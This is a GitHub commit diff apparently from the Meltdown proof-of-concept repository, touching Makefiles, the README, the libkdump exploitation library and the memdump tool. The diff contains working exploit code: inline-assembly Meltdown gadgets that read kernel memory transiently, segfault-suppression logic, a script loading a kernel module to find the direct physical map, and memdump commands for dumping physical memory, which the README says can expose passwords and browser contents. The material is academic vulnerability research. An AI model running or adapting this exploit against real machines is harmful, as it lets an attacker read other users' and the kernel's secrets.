Skip to content
This repository was archived by the owner on Oct 1, 2022. It is now read-only.

Commit

Permalink
Merge branch 'master' into patch-1
Browse files Browse the repository at this point in the history
  • Loading branch information
dgruss authored Mar 23, 2018
2 parents 225cb29 + 1cf594f commit 0d2a0fe
Show file tree
Hide file tree
Showing 10 changed files with 95 additions and 51 deletions.
4 changes: 2 additions & 2 deletions Makefile
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
CFLAGS=-O3 -pthread -Wno-attributes -m64
override CFLAGS += -O3 -pthread -Wno-attributes -m64
CC=gcc

#BINARIES=test kaslr physical_reader
Expand All @@ -8,7 +8,7 @@ BINARIES := $(SOURCES:%.c=%)

all: $(BINARIES)

libkdump/libkdump.a:
libkdump/libkdump.a: libkdump/libkdump.c
make -C libkdump

%: %.c libkdump/libkdump.a
Expand Down
10 changes: 5 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
# Meltdown Proof-of-Concept

This repository contains several applications, demonstrating the [Meltdown bug](https://meltdown.help). For technical information about the bug, refer to the paper:
This repository contains several applications, demonstrating the [Meltdown bug](https://meltdownattack.com). For technical information about the bug, refer to the paper:

* [Meltdown](https://meltdown.help/meltdown.pdf) by Lipp, Schwarz, Gruss, Prescher, Haas, Mangard, Kocher, Genkin, Yarom, and Hamburg
* [Meltdown](https://meltdownattack.com/meltdown.pdf) by Lipp, Schwarz, Gruss, Prescher, Haas, Mangard, Kocher, Genkin, Yarom, and Hamburg

The applications in this repository are built with [libkdump](https://github.com/IAIK/Meltdown/tree/master/libkdump), a library we developed for the paper. This library simplifies exploitation of the bug by automatically adapting to certain properties of the environment.

Expand Down Expand Up @@ -140,10 +140,10 @@ make
Then, run the `memdump` tool to dump memory contents. If you executed `memory_filler` before, you should see some string fragments.
If you have Firefox or Chrome with multiple tabs running, you might also see parts of the websites which are open or were recently closed.

The first parameter is the physical address at which the dump should begin (leave empty to start at the first gigabyte). If you do not have KASLR disabled, the second parameter is the offset of the direct physical map.
The first parameter is the physical address at which the dump should begin (leave empty to start at the first gigabyte). The second parameter is the amount of bytes you want to be read, to read it all give -1. If you do not have KASLR disabled, the third parameter is the offset of the direct physical map.

```bash
taskset 0x1 ./memdump 0x240000000 0xffff880000000000 # start at 9 GB
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB
```

You should get a hexdump of parts of the memory (potentially even containing secrets such as passwords, see example in the paper), e.g.:
Expand Down Expand Up @@ -188,7 +188,7 @@ You should get a hexdump of parts of the memory (potentially even containing sec
* **You said it works on uncached memory, but all your demos ensure that the memory is cached!**

Making it work on uncached memory is trickier, and often requires a bit of tweaking of the parameters. Thus, we ensure that the memory is cached in the PoC to make it easier to reproduce. However, you can simply remove the code that caches the values and replace it by a `clflush` to test the exploit on uncached memory (see Video #5 for an example).
Although not in the original blog post by Google, this was also confirmed by independent researchers (e.g. https://twitter.com/aionescu/status/951261470343360513 or https://twitter.com/raphael_scarv/status/951265374175154176).
Although not in the original blog post by Google, this was also confirmed by independent researchers (e.g. [Alex Ionescu](https://twitter.com/aionescu/status/951261470343360513), [Raphael Carvalho](https://twitter.com/raphael_scarv/status/952078140028964864), [Pavel Boldin](https://www.youtube.com/watch?v=EMBGXswJC4s)).

* **It just does not work on my computer, what can I do?**

Expand Down
6 changes: 5 additions & 1 deletion kaslr.c
Original file line number Diff line number Diff line change
Expand Up @@ -5,8 +5,12 @@
int main(int argc, char *argv[]) {
size_t scratch[4096];
libkdump_config_t config;
size_t offset = 0xffff880000000000ull;
size_t offset = DEFAULT_PHYSICAL_OFFSET;
#ifdef __x86_64__
size_t step = 0x800000000ll;
#else
size_t step = 0x1000000;
#endif
size_t delta = -2 * step;
int progress = 0;

Expand Down
9 changes: 5 additions & 4 deletions kaslr_offset/direct_physical_map.sh
Original file line number Diff line number Diff line change
Expand Up @@ -2,23 +2,24 @@

if [ ! -f kernel_module/direct_physical_map.ko ]; then
echo -e "\x1b[32;1m[+]\x1b[0m Building kernel module"
cd kernel_module && make && cd ..
cd kernel_module && make
cd -
fi
if [ ! -f kernel_module/direct_physical_map.ko ]; then
echo -e "\x1b[31;1m[-]\x1b[0m Failed building kernel module"
exit
fi

if [ $(lsmod | grep -c direct_physical_map) -eq 0 ]; then
if ! grep -q direct_physical_map /proc/modules; then
echo -e "\x1b[32;1m[+]\x1b[0m Loading kernel module"
insmod kernel_module/direct_physical_map.ko
fi
if [ $(lsmod | grep -c direct_physical_map) -eq 0 ]; then
if ! grep -q direct_physical_map /proc/modules; then
echo -e "\x1b[31;1m[-]\x1b[0m Failed loading kernel module"
exit
fi

OFFSET=$(cat /proc/direct_physical_map)
read OFFSET </proc/direct_physical_map

echo -e "\x1b[32;1m[+]\x1b[0m Direct physical map offset at \x1b[33;1m$OFFSET\x1b[0m"

6 changes: 6 additions & 0 deletions kaslr_offset/kernel_module/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
*.cmd
*.mod.c
modules.order
Module.symvers
.tmp_versions/
*.ko
2 changes: 1 addition & 1 deletion libkdump/Makefile
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
CFLAGS=-O3 -pthread -Wno-attributes
override CFLAGS += -O3 -pthread -Wno-attributes
CC=gcc

all: libkdump.a libkdump.so
Expand Down
4 changes: 2 additions & 2 deletions libkdump/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -117,7 +117,7 @@ config = libkdump_get_autoconfig();
// change address of direct physical map
config.physical_offset = 0xffff98a000000000ull;
// initialize libkdump with custom config
if(libkdump_init(libkdump_auto_config) != 0) {
if(libkdump_init(config) != 0) {
return -1;
}

Expand Down Expand Up @@ -151,7 +151,7 @@ config = libkdump_get_autoconfig();
// change any property, e.g., direct-physical map offset
config.physical_offset = 0xffff98a000000000ull;
// initialize libkdump with custom config
if(libkdump_init(libkdump_auto_config) != 0) {
if(libkdump_init(config) != 0) {
return -1;
}
```
Expand Down
70 changes: 40 additions & 30 deletions libkdump/libkdump.c
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,6 @@
libkdump_config_t libkdump_auto_config = {0};

// ---------------------------------------------------------------------------
static volatile size_t run = 1;
static jmp_buf buf;

static char *_mem = NULL, *mem = NULL;
Expand Down Expand Up @@ -45,10 +44,9 @@ static libkdump_config_t config;

// ---------------------------------------------------------------------------
#define meltdown \
asm volatile("xorq %%rax, %%rax\n" \
"1:\n" \
asm volatile("1:\n" \
"movq (%%rsi), %%rsi\n" \
"movb (%%rcx), %%al\n" \
"movzx (%%rcx), %%rax\n" \
"shl $12, %%rax\n" \
"jz 1b\n" \
"movq (%%rbx,%%rax,1), %%rbx\n" \
Expand All @@ -58,9 +56,8 @@ static libkdump_config_t config;

// ---------------------------------------------------------------------------
#define meltdown_nonull \
asm volatile("xorq %%rax, %%rax\n" \
"1:\n" \
"movb (%%rcx), %%al\n" \
asm volatile("1:\n" \
"movzx (%%rcx), %%rax\n" \
"shl $12, %%rax\n" \
"jz 1b\n" \
"movq (%%rbx,%%rax,1), %%rbx\n" \
Expand All @@ -70,8 +67,7 @@ static libkdump_config_t config;

// ---------------------------------------------------------------------------
#define meltdown_fast \
asm volatile("xorq %%rax, %%rax\n" \
"movb (%%rcx), %%al\n" \
asm volatile("movzx (%%rcx), %%rax\n" \
"shl $12, %%rax\n" \
"movq (%%rbx,%%rax,1), %%rbx\n" \
: \
Expand All @@ -82,35 +78,32 @@ static libkdump_config_t config;

// ---------------------------------------------------------------------------
#define meltdown \
asm volatile("xorl %%eax, %%eax\n" \
"1:\n" \
asm volatile("1:\n" \
"movl (%%esi), %%esi\n" \
"movb (%%ecx), %%al\n" \
"movzx (%%ecx), %%eax\n" \
"shl $12, %%eax\n" \
"jz 1b\n" \
"movl (%%ebx,%%eax,1), %%ebx\n" \
"mov (%%ebx,%%eax,1), %%ebx\n" \
: \
: "c"(phys), "b"(mem), "S"(0) \
: "eax");

// ---------------------------------------------------------------------------
#define meltdown_nonull \
asm volatile("xorl %%eax, %%eax\n" \
"1:\n" \
"movb (%%ecx), %%al\n" \
asm volatile("1:\n" \
"movzx (%%ecx), %%eax\n" \
"shl $12, %%eax\n" \
"jz 1b\n" \
"movl (%%ebx,%%eax,1), %%ebx\n" \
"mov (%%ebx,%%eax,1), %%ebx\n" \
: \
: "c"(phys), "b"(mem) \
: "eax");

// ---------------------------------------------------------------------------
#define meltdown_fast \
asm volatile("xorl %%eax, %%eax\n" \
"movb (%%ecx), %%al\n" \
asm volatile("movzx (%%ecx), %%eax\n" \
"shl $12, %%eax\n" \
"movl (%%ebx,%%eax,1), %%ebx\n" \
"mov (%%ebx,%%eax,1), %%ebx\n" \
: \
: "c"(phys), "b"(mem) \
: "eax");
Expand Down Expand Up @@ -273,13 +266,11 @@ static int check_tsx() {
return (b & (1 << 11)) ? 1 : 0;
} else
return 0;
#else
#ifdef FORCE_TSX
#elif defined(FORCE_TSX)
return 1;
#else
#else /* defined (NO_TSX) */
return 0;
#endif
#endif
}

// ---------------------------------------------------------------------------
Expand Down Expand Up @@ -360,9 +351,8 @@ static void unblock_signal(int signum __attribute__((__unused__))) {
// ---------------------------------------------------------------------------
static void segfault_handler(int signum) {
(void)signum;
run = 0;
unblock_signal(SIGSEGV);
longjmp(buf, 0);
longjmp(buf, 1);
}

// ---------------------------------------------------------------------------
Expand Down Expand Up @@ -416,8 +406,9 @@ int libkdump_init(const libkdump_config_t configuration) {
int k;
for (k = 0; k < j; k++) {
pthread_cancel(load_thread[k]);
free(_mem);
}
free(load_thread);
free(_mem);
errno = r;
return -1;
}
Expand Down Expand Up @@ -453,6 +444,18 @@ int libkdump_cleanup() {

// ---------------------------------------------------------------------------
size_t libkdump_phys_to_virt(size_t addr) {
/* we are given full address (kernel or physical) here */
if (addr + config.physical_offset < config.physical_offset)
return addr;

#ifdef __x86_64__
/* address given is bigger than identity mapping 64TB */
if (addr >= (64ULL * 1024ULL * 1024ULL * 1024ULL * 1024ULL)) {
debug(ERROR, "phys_to_virt argument is > 64 TB\n");
return -1ULL;
}
#endif

return addr + config.physical_offset;
}

Expand Down Expand Up @@ -503,9 +506,7 @@ int __attribute__((optimize("-Os"), noinline)) libkdump_read_signal_handler() {
uint64_t start = 0, end = 0;

while (retries--) {
run = 1;
setjmp(buf);
if (run) {
if (!setjmp(buf)) {
MELTDOWN;
}

Expand Down Expand Up @@ -544,6 +545,15 @@ int __attribute__((optimize("-O0"))) libkdump_read(size_t addr) {
}
int max_v = 0, max_i = 0;

if (dbg) {
for (i = 0; i < sizeof(res_stat); i++) {
if (res_stat[i] == 0)
continue;
debug(INFO, "res_stat[%x] = %d\n",
i, res_stat[i]);
}
}

for (i = 1; i < 256; i++) {
if (res_stat[i] > max_v && res_stat[i] >= config.accept_after) {
max_v = res_stat[i];
Expand Down
2 changes: 1 addition & 1 deletion libkdump/libkdump.h
Original file line number Diff line number Diff line change
Expand Up @@ -102,7 +102,7 @@ size_t libkdump_virt_to_phys(size_t addr);
*
* @param[in] addr The physical address to convert
*
* @return The virtual address
* @return The virtual address, or -1ULL if an error occured.
*/
size_t libkdump_phys_to_virt(size_t addr);

Expand Down
33 changes: 28 additions & 5 deletions memdump.c
Original file line number Diff line number Diff line change
@@ -1,12 +1,23 @@
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

static int running = 1;

void sigint(int signum __attribute__((unused))) {
running = 0;
}

int main(int argc, char *argv[]) {
size_t phys = 1ull * 1024ull * 1024ull * 1024ull; // start at first gigabyte
size_t size = (size_t)-1ULL;
if (argc >= 2) {
phys = strtoull(argv[1], NULL, 0);
}
if (argc >= 3) {
size = strtoull(argv[2], NULL, 0);
}

int width = 16; // characters per line
int suppress_empty = 1;
Expand All @@ -15,23 +26,35 @@ int main(int argc, char *argv[]) {
config = libkdump_get_autoconfig();
config.retries = 10;
config.measurements = 2;
if (argc >= 3) {
config.physical_offset = strtoull(argv[2], NULL, 0);
if (argc >= 4) {
config.physical_offset = strtoull(argv[3], NULL, 0);
}

libkdump_init(config);

size_t vaddr = libkdump_phys_to_virt(phys);

if (vaddr == -1ULL) {
fprintf(stderr, "Error converting physical to virtual address\n");
return -1;
}

printf(
"\x1b[32;1m[+]\x1b[0m Physical address : \x1b[33;1m0x%zx\x1b[0m\n", phys);
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n\n", config.physical_offset);
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n", config.physical_offset);
printf(
"\x1b[32;1m[+]\x1b[0m Virtual address : \x1b[33;1m0x%zx\x1b[0m\n", vaddr);

if (width > size)
width = size;

size_t delta = 0;
int i;
char *buffer = malloc(width);

while (1) {
signal(SIGINT, sigint);

while (running && delta < size) {
int value = libkdump_read(vaddr + delta);
buffer[delta % width] = value;

Expand All @@ -48,7 +71,7 @@ int main(int argc, char *argv[]) {
continue;
}

printf("%10zx: ", delta + phys);
printf("%10zx: ", delta + phys - (width - 1));
printf("| ");
for (i = 0; i < width; i++) {
printf("%02x ", (unsigned char)buffer[i]);
Expand Down

0 comments on commit 0d2a0fe

Please sign in to comment.